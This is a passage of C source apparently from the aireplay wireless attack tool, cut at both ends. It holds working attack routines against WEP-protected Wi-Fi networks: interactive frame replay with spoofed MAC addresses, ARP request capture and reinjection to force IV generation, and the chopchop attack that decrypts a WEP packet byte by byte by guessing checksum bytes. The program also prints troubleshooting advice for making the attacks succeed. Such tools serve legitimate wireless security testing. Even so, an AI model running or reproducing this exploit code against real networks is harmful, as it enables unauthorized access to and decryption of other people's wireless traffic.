  1042.     if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
  1043.     {
  1044.         perror( "fopen failed" );
  1045.         return( 1 );
  1046.     }
  1048.     n = sizeof( struct pcap_file_header );
  1050.     if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
  1051.     {
  1052.         perror( "fwrite failedn" );
  1053.         return( 1 );
  1054.     }
  1056.     pkh.tv_sec  = tv.tv_sec;
  1057.     pkh.tv_usec = tv.tv_usec;
  1058.     pkh.caplen  = *caplen;
  1059.     pkh.len     = *caplen;
  1061.     n = sizeof( pkh );
  1063.     if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
  1064.     {
  1065.         perror( "fwrite failed" );
  1066.         return( 1 );
  1067.     }
  1069.     n = pkh.caplen;
  1071.     if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
  1072.     {
  1073.         perror( "fwrite failed" );
  1074.         return( 1 );
  1075.     }
  1077.     fclose( f_cap_out );
  1079.     return( 0 );
  1080. }
  1082. int do_attack_interactive( void )
  1083. {
  1084.     int caplen, n;
  1085.     int mi_b, mi_s, mi_d;
  1086.     struct timeval tv;
  1087.     struct timeval tv2;
  1088.     float f, ticks[3];
  1089.     unsigned char bssid[6];
  1090.     unsigned char smac[6];
  1091.     unsigned char dmac[6];
  1093. read_packets:
  1095.     if( capture_ask_packet( &caplen ) != 0 )
  1096.         return( 1 );
  1098.     /* rewrite the frame control & MAC addresses */
  1100.     switch( h80211[1] & 3 )
  1101.     {
  1102.         case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
  1103.         case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
  1104.         case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
  1105.         default: mi_b =  4; mi_d = 16; mi_s = 24; break;
  1106.     }
  1108.     if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 )
  1109.         memcpy( bssid, h80211 + mi_b, 6 );
  1110.     else
  1111.         memcpy( bssid, opt.r_bssid, 6 );
  1113.     if( memcmp( opt.r_smac , NULL_MAC, 6 ) == 0 )
  1114.         memcpy( smac, h80211 + mi_s, 6 );
  1115.     else
  1116.         memcpy( smac, opt.r_smac, 6 );
  1118.     if( memcmp( opt.r_dmac , NULL_MAC, 6 ) == 0 )
  1119.         memcpy( dmac, h80211 + mi_d, 6 );
  1120.     else
  1121.         memcpy( dmac, opt.r_dmac, 6 );
  1123.     if( opt.r_fctrl != -1 )
  1124.     {
  1125.         h80211[0] = opt.r_fctrl >>   8;
  1126.         h80211[1] = opt.r_fctrl & 0xFF;
  1128.         switch( h80211[1] & 3 )
  1129.         {
  1130.             case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
  1131.             case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
  1132.             case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
  1133.             default: mi_b =  4; mi_d = 16; mi_s = 24; break;
  1134.         }
  1135.     }
  1137.     memcpy( h80211 + mi_b, bssid, 6 );
  1138.     memcpy( h80211 + mi_s, smac , 6 );
  1139.     memcpy( h80211 + mi_d, dmac , 6 );
  1141.     /* loop resending the packet */
  1143.     printf( "You must also start airodump to capture replies.nn" );
  1145.     signal( SIGINT, sighandler );
  1146.     ctrl_c = 0;
  1148.     memset( ticks, 0, sizeof( ticks ) );
  1150.     nb_pkt_sent = 0;
  1152.     while( 1 )
  1153.     {
  1154.         if( ctrl_c )
  1155.             goto read_packets;
  1157.         /* wait for the next timer interrupt, or sleep */
  1159.         if( dev.fd_rtc >= 0 )
  1160.         {
  1161.             if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
  1162.             {
  1163.                 perror( "read(/dev/rtc) failed" );
  1164.                 return( 1 );
  1165.             }
  1167.             ticks[0]++;
  1168.             ticks[1]++;
  1169.             ticks[2]++;
  1170.         }
  1171.         else
  1172.         {
  1173.             /* we can't trust usleep, since it depends on the HZ */
  1175.             gettimeofday( &tv,  NULL );
  1176.             usleep( 1024 );
  1177.             gettimeofday( &tv2, NULL );
  1179.             f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
  1180.                         + (float) ( tv2.tv_usec - tv.tv_usec );
  1182.             ticks[0] += f / 1024;
  1183.             ticks[1] += f / 1024;
  1184.             ticks[2] += f / 1024;
  1185.         }
  1187.         /* update the status line */
  1189.         if( ticks[1] > 128 )
  1190.         {
  1191.             ticks[1] = 0;
  1192.             printf( "rSent %ld packets...33[Kr", nb_pkt_sent );
  1193.             fflush( stdout );
  1194.         }
  1196.         if( ( ticks[2] * opt.r_nbpps ) / 1024 < 1 )
  1197.             continue;
  1199.         /* threshold reached */
  1201.         ticks[2] = 0;
  1203.         if( send_packet( h80211, caplen ) < 0 )
  1204.             return( 1 );
  1205.     }
  1207.     return( 0 );
  1208. }
  1210. int do_attack_arp_resend( void )
  1211. {
  1212.     int nb_bad_pkt;
  1213.     int arp_off1, arp_off2;
  1214.     int i, n, caplen, nb_arp;
  1215.     long nb_pkt_read, nb_arp_tot;
  1217.     time_t tc;
  1218.     float f, ticks[3];
  1219.     struct timeval tv;
  1220.     struct timeval tv2;
  1221.     struct tm *lt;
  1223.     FILE *f_cap_out;
  1224.     struct pcap_file_header pfh_out;
  1225.     struct pcap_pkthdr pkh;
  1226.     struct ARP_req arp[8];
  1228.     /* capture only WEP data to broadcast address */
  1230.     opt.f_type    = 2;
  1231.     opt.f_subtype = 0;
  1232.     opt.f_iswep   = 1;
  1234.     memset( opt.f_dmac, 0xFF, 6 );
  1236.     if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 )
  1237.     {
  1238.         printf( "Please specify a BSSID (-b).n" );
  1239.         return( 1 );
  1240.     }
  1242.     if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 )
  1243.     {
  1244.         printf( "Please specify a source MAC (-h).n" );
  1245.         return( 1 );
  1246.     }
  1248.     /* create and write the output pcap header */
  1250.     gettimeofday( &tv, NULL );
  1252.     pfh_out.magic         = TCPDUMP_MAGIC;
  1253.     pfh_out.version_major = PCAP_VERSION_MAJOR;
  1254.     pfh_out.version_minor = PCAP_VERSION_MINOR;
  1255.     pfh_out.thiszone      = 0;
  1256.     pfh_out.sigfigs       = 0;
  1257.     pfh_out.snaplen       = 65535;
  1258.     pfh_out.linktype      = LINKTYPE_IEEE802_11;
  1260.     lt = localtime( &tv.tv_sec );
  1262.     memset( strbuf, 0, sizeof( strbuf ) );
  1263.     snprintf( strbuf,  sizeof( strbuf ) - 1,
  1264.               "replay_arp-%02d%02d-%02d%02d%02d.cap",
  1265.               lt->tm_mon + 1, lt->tm_mday,
  1266.               lt->tm_hour, lt->tm_min, lt->tm_sec );
  1268.     printf( "Saving ARP requests in %sn", strbuf );
  1270.     if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
  1271.     {
  1272.         perror( "fopen failed" );
  1273.         return( 1 );
  1274.     }
  1276.     n = sizeof( struct pcap_file_header );
  1278.     if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
  1279.     {
  1280.         perror( "fwrite failedn" );
  1281.         return( 1 );
  1282.     }
  1284.     fflush( f_cap_out );
  1286.     printf( "You must also start airodump to capture replies.n" );
  1288.     /* avoid blocking on reading the socket */
  1290.     if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
  1291.     {
  1292.         perror( "fcntl(O_NONBLOCK) failed" );
  1293.         return( 1 );
  1294.     }
  1296.     memset( ticks, 0, sizeof( ticks ) );
  1298.     tc = time( NULL ) - 11;
  1300.     nb_pkt_read = 0;
  1301.     nb_bad_pkt  = 0;
  1302.     nb_arp      = 0;
  1303.     nb_arp_tot  = 0;
  1304.     arp_off1    = 0;
  1305.     arp_off2    = 0;
  1307.     while( 1 )
  1308.     {
  1309.         /* sleep until the next clock tick */
  1311.         if( dev.fd_rtc >= 0 )
  1312.         {
  1313.             if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
  1314.             {
  1315.                 perror( "read(/dev/rtc) failed" );
  1316.                 return( 1 );
  1317.             }
  1319.             ticks[0]++;
  1320.             ticks[1]++;
  1321.             ticks[2]++;
  1322.         }
  1323.         else
  1324.         {
  1325.             gettimeofday( &tv,  NULL );
  1326.             usleep( 976 );
  1327.             gettimeofday( &tv2, NULL );
  1329.             f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
  1330.                         + (float) ( tv2.tv_usec - tv.tv_usec );
  1332.             ticks[0] += f / 976;
  1333.             ticks[1] += f / 976;
  1334.             ticks[2] += f / 976;
  1335.         }
  1337.         if( ticks[1] > 128 )
  1338.         {
  1339.             ticks[1] = 0;
  1340.             printf( "rRead %ld packets (got %ld ARP requests), "
  1341.                     "sent %ld packets...r",
  1342.                     nb_pkt_read, nb_arp_tot, nb_pkt_sent );
  1343.             fflush( stdout );
  1344.         }
  1346.         if( ( ticks[2] * opt.r_nbpps ) / 1024 >= 1 )
  1347.         {
  1348.             /* threshold reach, send one frame */
  1350.             ticks[2] = 0;
  1352.             if( nb_arp > 0 )
  1353.             {
  1354.                 if( send_packet( arp[arp_off1].buf,
  1355.                                  arp[arp_off2].len ) < 0 )
  1356.                     return( 1 );
  1358.                 if( ++arp_off1 >= nb_arp )
  1359.                     arp_off1 = 0;
  1360.             }
  1361.         }
  1363.         /* read a frame, and check if it's an ARP request */
  1365.         if( opt.s_file == NULL )
  1366.         {
  1367.             gettimeofday( &tv, NULL );
  1369.             caplen = read_packet( h80211, sizeof( h80211 ) );
  1371.             if( caplen  < 0 ) return( 1 );
  1372.             if( caplen == 0 ) continue;
  1373.         }
  1374.         else
  1375.         {
  1376.             n = sizeof( pkh );
  1378.             if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
  1379.             {
  1380.                 opt.s_file = NULL;
  1381.                 continue;
  1382.             }
  1384.             if( dev.pfh_in.magic == TCPDUMP_CIGAM )
  1385.                 SWAP32( pkh.caplen );
  1387.             tv.tv_sec  = pkh.tv_sec;
  1388.             tv.tv_usec = pkh.tv_usec;
  1390.             n = caplen = pkh.caplen;
  1392.             if( n <= 0 || n > (int) sizeof( h80211 ) )
  1393.             {
  1394.                 printf( "r33[KInvalid packet length %d.n", n );
  1395.                 opt.s_file = NULL;
  1396.                 continue;
  1397.             }
  1399.             if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
  1400.             {
  1401.                 opt.s_file = NULL;
  1402.                 continue;
  1403.             }
  1405.             if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
  1406.             {
  1407.                 if( h80211[7] == 0x40 )
  1408.                     n = 64;
  1409.                 else
  1410.                     n = *(int *)( h80211 + 4 );
  1412.                 if( n < 8 || n >= (int) caplen )
  1413.                     continue;
  1415.                 memcpy( tmpbuf, h80211, caplen );
  1416.                 caplen -= n;
  1417.                 memcpy( h80211, tmpbuf + n, caplen );
  1418.             }
  1419.         }
  1421.         nb_pkt_read++;
  1423.         /* check if it's a disas. or deauth packet */
  1425.         if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) &&
  1426.             ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
  1427.         {
  1428.             nb_bad_pkt++;
  1430.             if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 )
  1431.             {
  1432.                 printf( "33[KNotice: got a deauth/disassoc packet. Is the "
  1433.                         "source MAC associated ?n" );
  1435.                 tc = time( NULL );
  1436.                 nb_bad_pkt = 0;
  1437.             }
  1438.         }
  1440.         /* check if it's a potential ARP request */
  1442.         opt.f_minlen = opt.f_maxlen = 68;
  1444.         if( filter_packet( h80211, caplen ) == 0 )
  1445.             goto add_arp;
  1447.         opt.f_minlen = opt.f_maxlen = 86;
  1449.         if( filter_packet( h80211, caplen ) == 0 )
  1450.         {
  1451. add_arp:
  1452.             switch( h80211[1] & 3 )
  1453.             {
  1454.                 case  1: /* ToDS */
  1455.                 {
  1456.                     /* keep as a ToDS packet */
  1458.                     memcpy( h80211 +  4, opt.f_bssid, 6 );
  1459.                     memcpy( h80211 + 10, opt.r_smac,  6 );
  1460.                     memcpy( h80211 + 16, opt.f_dmac,  6 );
  1462.                     h80211[1] = 0x41;   /* ToDS & WEP  */
  1463.                 }
  1464.                 case  2: /* FromDS */
  1465.                 {
  1466.                     if( opt.r_fromdsinj )
  1467.                     {
  1468.                         /* keep as a FromDS packet */
  1470.                         memcpy( h80211 +  4, opt.f_dmac,  6 );
  1471.                         memcpy( h80211 + 10, opt.f_bssid, 6 );
  1472.                         memcpy( h80211 + 16, opt.r_smac,  6 );
  1474.                         h80211[1] = 0x42;   /* FromDS & WEP  */
  1475.                     }
  1476.                     else
  1477.                     {
  1478.                         /* rewrite header to make it a ToDS packet */
  1480.                         memcpy( h80211 +  4, opt.f_bssid, 6 );
  1481.                         memcpy( h80211 + 10, opt.r_smac,  6 );
  1482.                         memcpy( h80211 + 16, opt.f_dmac,  6 );
  1484.                         h80211[1] = 0x41;   /* ToDS & WEP  */
  1485.                     }
  1486.                 }
  1487.             }
  1489.             h80211[0] = 0x08;   /* normal data */
  1491.             /* if same IV, perhaps our own packet, skip it */
  1493.             for( i = 0; i < nb_arp; i++ )
  1494.             {
  1495.                 if( memcmp( h80211 + 24, arp[i].buf + 24, 4 ) == 0 )
  1496.                     break;
  1497.             }
  1499.             if( i < nb_arp )
  1500.                 continue;
  1502.             /* add the ARP request in the ring buffer */
  1504.             nb_arp_tot++;
  1506.             if( nb_arp >= 8 )
  1507.             {
  1508.                 /* no more room, overwrite oldest entry */
  1510.                 memcpy( arp[arp_off2].buf, h80211, caplen );
  1511.                 arp[arp_off2].len = caplen;
  1513.                 if( ++arp_off2 >= nb_arp )
  1514.                     arp_off2 = 0;
  1515.             }
  1516.             else
  1517.             {
  1518.                 if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL )
  1519.                 {
  1520.                     perror( "malloc failed" );
  1521.                     return( 1 );
  1522.                 }
  1523.    
  1524.                 memcpy( arp[nb_arp].buf, h80211, caplen );
  1525.                 arp[nb_arp].len = caplen;
  1526.                 nb_arp++;
  1528.                 pkh.tv_sec  = tv.tv_sec;
  1529.                 pkh.tv_usec = tv.tv_usec;
  1530.                 pkh.caplen  = caplen;
  1531.                 pkh.len     = caplen;
  1533.                 n = sizeof( pkh );
  1535.                 if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
  1536.                 {
  1537.                     perror( "fwrite failed" );
  1538.                     return( 1 );
  1539.                 }
  1541.                 n = pkh.caplen;
  1543.                 if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
  1544.                 {
  1545.                     perror( "fwrite failed" );
  1546.                     return( 1 );
  1547.                 }
  1549.                 fflush( f_cap_out );
  1550.             }
  1551.         }
  1552.     }
  1554.     return( 0 );
  1555. }
  1557. int do_attack_chopchop( void )
  1558. {
  1559.     float f, ticks[4];
  1560.     int i, j, n, z, caplen;
  1561.     int data_start, data_end;
  1562.     int guess, is_deauth_mode;
  1563.     int nb_bad_pkt;
  1565.     FILE *f_cap_out;
  1566.     long nb_pkt_read;
  1567.     unsigned long crc_mask;
  1568.     unsigned char *chopped;
  1570.     time_t tt;
  1571.     struct tm *lt;
  1572.     struct timeval tv;
  1573.     struct timeval tv2;
  1574.     struct pcap_file_header pfh_out;
  1575.     struct pcap_pkthdr pkh;
  1577.     if( capture_ask_packet( &caplen ) != 0 )
  1578.         return( 1 );
  1580.     printf( "n" );
  1582.     /* chopchop operation mode: truncate and decrypt the packet */
  1583.     /* we assume the plaintext starts with  AA AA 03 00 00 00   */
  1585.     memcpy( srcbuf, h80211, caplen );
  1587.     /* setup the chopping buffer */
  1589.     z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  1591.     n = caplen - z + 24;
  1593.     if( ( chopped = (unsigned char *) malloc( n ) ) == NULL )
  1594.     {
  1595.         perror( "malloc failed" );
  1596.         return( 1 );
  1597.     }
  1599.     memset( chopped, 0, n );
  1601.     data_start = z + 4;
  1602.     data_end   = caplen;
  1604.     chopped[0] = 0x08;  /* normal data frame */
  1605.     chopped[1] = 0x41;  /* WEP = 1, ToDS = 1 */
  1607.     /* copy the duration */
  1609.     memcpy( chopped + 2, h80211 + 2, 2 );
  1611.     /* copy the BSSID */
  1613.     switch( h80211[1] & 3 )
  1614.     {
  1615.         case  0: memcpy( chopped + 4, h80211 + 16, 6 ); break;
  1616.         case  1: memcpy( chopped + 4, h80211 +  4, 6 ); break;
  1617.         case  2: memcpy( chopped + 4, h80211 + 10, 6 ); break;
  1618.         default: memcpy( chopped + 4, h80211 +  4, 6 ); break;
  1619.     }
  1621.     /* copy the WEP IV */
  1623.     memcpy( chopped + 24, h80211 + z, 4 );
  1625.     /* setup the xor mask to hide the original data */
  1627.     crc_mask = 0;
  1629.     for( i = data_start; i < data_end - 4; i++ )
  1630.     {
  1631.         switch( i - data_start )
  1632.         {
  1633.             case  0: chopped[i] = 0xAA ^ 0xE0; break;
  1634.             case  1: chopped[i] = 0xAA ^ 0xE0; break;
  1635.             case  2: chopped[i] = 0x03 ^ 0x03; break;
  1636.             default: chopped[i] = 0x55 ^ ( i & 0xFF ); break;
  1637.         }
  1639.         crc_mask = crc_tbl[crc_mask & 0xFF]
  1640.                  ^ ( crc_mask   >>  8 )
  1641.                  ^ ( chopped[i] << 24 );
  1642.     }
  1644.     for( i = 0; i < 4; i++ )
  1645.         crc_mask = crc_tbl[crc_mask & 0xFF]
  1646.                  ^ ( crc_mask >> 8 );
  1648.     chopped[data_end - 4] = crc_mask; crc_mask >>= 8;
  1649.     chopped[data_end - 3] = crc_mask; crc_mask >>= 8;
  1650.     chopped[data_end - 2] = crc_mask; crc_mask >>= 8;
  1651.     chopped[data_end - 1] = crc_mask; crc_mask >>= 8;
  1653.     for( i = data_start; i < data_end; i++ )
  1654.         chopped[i] ^= srcbuf[i];
  1656.     data_start += 6; /* skip the SNAP header */
  1658.     /* if the replay source mac is unspecified, forge one */
  1660.     if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 )
  1661.     {
  1662.         is_deauth_mode = 1;
  1664.         opt.r_smac[0] = 0x00;
  1665.         opt.r_smac[1] = rand() & 0x3E;
  1666.         opt.r_smac[2] = rand() & 0xFF;
  1667.         opt.r_smac[3] = rand() & 0xFF;
  1668.         opt.r_smac[4] = rand() & 0xFF;
  1670.         memcpy( opt.r_dmac, "xFFxFFxFFxFFxFFxFF", 6 );
  1671.     }
  1672.     else
  1673.     {
  1674.         is_deauth_mode = 0;
  1676.         opt.r_dmac[0] = 0xFF;
  1677.         opt.r_dmac[1] = rand() & 0xFE;
  1678.         opt.r_dmac[2] = rand() & 0xFF;
  1679.         opt.r_dmac[3] = rand() & 0xFF;
  1680.         opt.r_dmac[4] = rand() & 0xFF;
  1681.     }
  1683.     /* let's go chopping */
  1685.     memset( ticks, 0, sizeof( ticks ) );
  1687.     nb_pkt_read = 0;
  1688.     nb_pkt_sent = 0;
  1689.     nb_bad_pkt  = 0;
  1690.     guess       = 256;
  1692.     tt = time( NULL );
  1694.     alarm( 30 );
  1696.     signal( SIGALRM, sighandler );
  1698.     if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
  1699.     {
  1700.         perror( "fcntl(O_NONBLOCK) failed" );
  1701.         return( 1 );
  1702.     }
  1704.     while( data_end > data_start )
  1705.     {
  1706.         if( alarmed )
  1707.         {
  1708.             printf( "nn"
  1709. "The chopchop attack appears to have failed. Possible reasons:n"
  1710. "n"
  1711. "    * You're trying to inject with an unsupported chipset (Centrino?).n"
  1712. "    * The driver source wasn't properly patched for injection support.n"
  1713. "    * You are too far from the AP. Get closer or reduce the send rate.n"
  1714. "    * Target is 802.11g only but you are using a Prism2 or RTL8180.n"
  1715. "    * The wireless interface isn't setup on the correct channel.n" );
  1717.             if( is_deauth_mode )
  1718.                 printf(
  1719. "    * The AP isn't vulnerable when operating in non-authenticated mode.n"
  1720. "      Run aireplay in authenticated mode instead (-h option).nn" );
  1721.             else
  1722.                 printf(
  1723. "    * The client MAC you have specified is not currently authenticated.n"
  1724. "      Try running another aireplay to fake authentication (attack "-1").n"
  1725. "    * The AP isn't vulnerable when operating in authenticated mode.n"
  1726. "      Try aireplay in non-authenticated mode instead (no -h option).nn" );
  1727.             return( 1 );
  1728.         }
  1730.         /* wait for the next timer interrupt, or sleep */
  1732.         if( dev.fd_rtc >= 0 )
  1733.         {
  1734.             if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
  1735.             {
  1736.                 perror( "nread(/dev/rtc) failed" );
  1737.                 return( 1 );
  1738.             }
  1740.             ticks[0]++;  /* ticks since we entered the while loop     */
  1741.             ticks[1]++;  /* ticks since the last status line update   */
  1742.             ticks[2]++;  /* ticks since the last frame was sent       */
  1743.             ticks[3]++;  /* ticks since started chopping current byte */
  1744.         }
  1745.         else
  1746.         {
  1747.             /* we can't trust usleep, since it depends on the HZ */
  1749.             gettimeofday( &tv,  NULL );
  1750.             usleep( 976 );
  1751.             gettimeofday( &tv2, NULL );
  1753.             f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
  1754.                         + (float) ( tv2.tv_usec - tv.tv_usec );
  1756.             ticks[0] += f / 976;
  1757.             ticks[1] += f / 976;
  1758.             ticks[2] += f / 976;
  1759.             ticks[3] += f / 976;
  1760.         }
  1762.         /* update the status line */
  1764.         if( ticks[1] > 128 )
  1765.         {
  1766.             ticks[1] = 0;
  1767.             printf( "rSent %3ld packets, current guess: %02X...33[K",
  1768.                     nb_pkt_sent, guess );
  1769.             fflush( stdout );
  1770.         }
  1772.         if( data_end == 40 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) /
  1773.                                 (int) ( caplen - ( data_end - 1 ) ) )
  1774.         {
  1775.             printf( "nnThe AP appears to drop packets shorter "
  1776.                     "than 40 bytes.n" );
  1778.             z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  1780.             if( ( chopped[data_end + 0] ^ srcbuf[data_end + 0] ) == 0x06 &&
  1781.                 ( chopped[data_end + 1] ^ srcbuf[data_end + 1] ) == 0x04 &&
  1782.                 ( chopped[data_end + 2] ^ srcbuf[data_end + 2] ) == 0x00 )
  1783.             {
  1784.                 printf( "Enabling standard workaround: "
  1785.                         "ARP header re-creation.n" );
  1787.                 chopped[z + 10] = srcbuf[z + 10] ^ 0x08;
  1788.                 chopped[z + 11] = srcbuf[z + 11] ^ 0x06;
  1789.                 chopped[z + 12] = srcbuf[z + 12] ^ 0x00;
  1790.                 chopped[z + 13] = srcbuf[z + 13] ^ 0x01;
  1791.                 chopped[z + 14] = srcbuf[z + 14] ^ 0x08;
  1792.                 chopped[z + 15] = srcbuf[z + 15] ^ 0x00;
  1793.             }
  1794.             else
  1795.             {
  1796.                 printf( "Enabling standard workaround: "
  1797.                         " IP header re-creation.n" );
  1799.                 n = caplen - ( z + 16 );
  1801.                 chopped[z +  4] = srcbuf[z +  4] ^ 0xAA;
  1802.                 chopped[z +  5] = srcbuf[z +  5] ^ 0xAA;
  1803.                 chopped[z +  6] = srcbuf[z +  6] ^ 0x03;
  1804.                 chopped[z +  7] = srcbuf[z +  7] ^ 0x00;
  1805.                 chopped[z +  8] = srcbuf[z +  8] ^ 0x00;
  1806.                 chopped[z +  9] = srcbuf[z +  9] ^ 0x00;
  1807.                 chopped[z + 10] = srcbuf[z + 10] ^ 0x08;
  1808.                 chopped[z + 11] = srcbuf[z + 11] ^ 0x00;
  1809.                 chopped[z + 14] = srcbuf[z + 14] ^ ( n >> 8 );
  1810.                 chopped[z + 15] = srcbuf[z + 15] ^ ( n & 0xFF );
  1812.                 memcpy( h80211, srcbuf, caplen );
  1814.                 for( i = z + 4; i < (int) caplen; i++ )
  1815.                     h80211[i - 4] = h80211[i] ^ chopped[i];
  1817.                 /* sometimes the header length or the tos field vary */
  1819.                 for( i = 0; i < 16; i++ )
  1820.                 {
  1821.                      h80211[z +  8] = 0x40 + i;
  1822.                     chopped[z + 12] = srcbuf[z + 12] ^ ( 0x40 + i );
  1824.                     for( j = 0; j < 256; j++ )
  1825.                     {
  1826.                          h80211[z +  9] = j;
  1827.                         chopped[z + 13] = srcbuf[z + 13] ^ j;
  1829.                         if( check_crc_buf( h80211 + z, caplen - z - 8 ) )
  1830.                             goto have_crc_match;
  1831.                     }
  1832.                 }
  1834.                 printf( "This doesn't look like an IP packet, "
  1835.                         "try another one.n" );
  1836.             }
  1838.         have_crc_match:
  1839.             break;
  1840.         }
  1842.         if( ( ticks[2] * opt.r_nbpps ) / 1024 >= 1 )
  1843.         {
  1844.             /* send one modified frame */
  1846.             ticks[2] = 0;
  1848.             memcpy( h80211, chopped, data_end - 1 );
  1850.             /* note: guess 256 is special, it tests if the  *
  1851.              * AP properly drops frames with an invalid ICV *
  1852.              * so this guess always has its bit 8 set to 0  */
  1854.             if( is_deauth_mode )
  1855.             {
  1856.                 opt.r_smac[1] |= ( guess < 256 );
  1857.                 opt.r_smac[5]  = guess & 0xFF;
  1858.             }
  1859.             else
  1860.             {
  1861.                 opt.r_dmac[1] |= ( guess < 256 );
  1862.                 opt.r_dmac[5]  = guess & 0xFF;
  1863.             }
  1865.             memcpy( h80211 + 10, opt.r_smac,  6 );
  1866.             memcpy( h80211 + 16, opt.r_dmac,  6 );
  1868.             if( guess < 256 )
  1869.             {
  1870.                 h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
  1871.                 h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
  1872.                 h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
  1873.                 h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
  1874.             }
  1876.             errno = 0;
  1878.             if( send_packet( h80211, data_end -1 ) != 0 )
  1879.                 return( 1 );
  1881.             if( errno != EAGAIN )
  1882.             {
  1883.                 guess++;
  1885.                 if( guess > 256 )
  1886.                     guess = 0;
  1887.             }
  1888.         }
  1890.         /* watch for a response from the AP */
  1892.         n = read_packet( h80211, sizeof( h80211 ) );
  1894.         if( n  < 0 ) return( 1 );
  1895.         if( n == 0 ) continue;
  1897.         nb_pkt_read++;
  1899.         /* check if it's a deauth packet */
  1901.         if( h80211[0] == 0xA0 || h80211[0] == 0xC0 )
  1902.         {
  1903.             if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 &&
  1904.                 ! is_deauth_mode )
  1905.             {
  1906.                 nb_bad_pkt++;
  1908.                 if( nb_bad_pkt > 256 )
  1909.                 {
  1910.                     printf(
  1911.                 "nnFailure: got several deauthentication packets "
  1912.                 "from the AP - try runningnanother aireplay with "
  1913.                 "attack "-1" (fake open-system authentication).nn" );
  1914.                     return( 1 );
  1915.                 }
  1917.                 continue;
  1918.             }
  1920.             if( h80211[4] != opt.r_smac[0] ) continue;
  1921.             if( h80211[6] != opt.r_smac[2] ) continue;
  1922.             if( h80211[7] != opt.r_smac[3] ) continue;
  1923.             if( h80211[8] != opt.r_smac[4] ) continue;
  1925.             if( ( h80211[5]     & 0xFE ) !=
  1926.                 ( opt.r_smac[1] & 0xFE ) ) continue;
  1928.             if( ! ( h80211[5] & 1 ) )
  1929.             {
  1930.                 printf( "nnFailure: the access point does not properly "
  1931.                         "discard frames with anninvalid ICV - try running "
  1932.                         "aireplay in authenticated mode (-h) instead.nn" );
  1933.                 return( 1 );
  1934.             }
  1935.         }
  1936.         else
  1937.         {
  1938.             if( is_deauth_mode )
  1939.                 continue;
  1941.             /* check if it's a WEP data packet */
  1943.             if( ( h80211[0] & 0x0C ) != 8 ) continue;
  1944.             if( ( h80211[0] & 0xF0 ) != 0 ) continue;
  1945.             if( ( h80211[1] & 0x03 ) != 2 ) continue;
  1946.             if( ( h80211[1] & 0x40 ) == 0 ) continue;
  1948.             /* check the extended IV (TKIP) flag */
  1950.             z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  1952.             if( ( h80211[z + 3] & 0x20 ) != 0 ) continue;
  1954.             /* check the destination address */
  1956.             if( h80211[4] != opt.r_dmac[0] ) continue;
  1957.             if( h80211[6] != opt.r_dmac[2] ) continue;
  1958.             if( h80211[7] != opt.r_dmac[3] ) continue;
  1959.             if( h80211[8] != opt.r_dmac[4] ) continue;
  1961.             if( ( h80211[5]     & 0xFE ) !=
  1962.                 ( opt.r_dmac[1] & 0xFE ) ) continue;
  1964.             if( ! ( h80211[5] & 1 ) )
  1965.             {
  1966.                 printf( "nnFailure: the access point does not properly "
  1967.                         "discard frames with anninvalid ICV - try running "
  1968.                         "aireplay in non-authenticated mode instead.nn" );
  1969.                 return( 1 );
  1970.             }
  1971.         }
  1973.         /* we have a winner */
  1975.         guess = h80211[9];
  1977.         chopped[data_end - 1] ^= guess;
  1978.         chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
  1979.         chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
  1980.         chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
  1981.         chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
  1983.         n = caplen - data_start;
  1985.         printf( "rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | "
  1986.                 "%4ld frames written in %5.0fmsn", data_end - 1,
  1987.                 100 * ( caplen - data_end ) / n,
  1988.                 chopped[data_end - 1],
  1989.                 chopped[data_end - 1] ^ srcbuf[data_end - 1],
  1990.                 nb_pkt_sent, ticks[3] );
  1992.         if( is_deauth_mode )
  1993.         {
  1994.             opt.r_smac[1] = rand() & 0x3E;
  1995.             opt.r_smac[2] = rand() & 0xFF;
  1996.             opt.r_smac[3] = rand() & 0xFF;
  1997.             opt.r_smac[4] = rand() & 0xFF;
  1998.         }
  1999.         else
  2000.         {
  2001.             opt.r_dmac[1] = rand() & 0xFE;
  2002.             opt.r_dmac[2] = rand() & 0xFF;
